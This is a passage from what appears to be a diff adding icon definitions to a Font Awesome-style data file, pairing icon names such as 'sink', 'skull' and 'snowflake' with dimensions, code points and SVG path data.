24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z"], + "sim-card": [384, 512, [], "f7c4", "M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z"], + "sink": [512, 512, [], "e06d", "M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z"], + "sitemap": [640, 512, [], "f0e8", "M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "skating": [448, 512, [], "f7c5", "M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"], + "skiing": [512, 512, [], "f7c9", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z"], + "skiing-nordic": [576, 512, [], "f7ca", "M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z"], + "skull": [512, 512, [], "f54c", "M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"], + "skull-crossbones": [448, 512, [], "f714", "M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z"], + "slash": [640, 512, [], "f715", "M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z"], + "sleigh": [640, 512, [], "f7cc", "M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z"], + "sliders-h": [512, 512, [], "f1de", "M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z"], + "smile": [496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z"], + "smile-beam": [496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z"], + "smile-wink": [496, 512, [], "f4da", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z"], + "smog": [640, 512, [], "f75f", "M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z"], + "smoking": [640, 512, [], "f48d", "M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z"], + "smoking-ban": [512, 512, [], "f54d", "M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z"], + "sms": [512, 512, [], "f7cd", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z"], + "snowboarding": [512, 512, [], "f7ce", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z"], + "snowflake": [448, 512, [], "f2dc", "M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z"], + "snowman": [512, 512, [], "f7d0", "M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "snowplow": [640, 512, [], "f7d2", "M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z"], + "soap": [512, 512, [], "e06e", "M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z"], + "socks": [512, 512, [], "f696", "M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z"], + "solar-panel": [640, 512, [], "f5ba", "M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z"], + "sort": [320, 512, [], "f0dc", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z"], + "sort-alpha-down": [448, 512, [], "f15d", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"], + "sort-alpha-down-alt": [448, 512, [], "f881", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 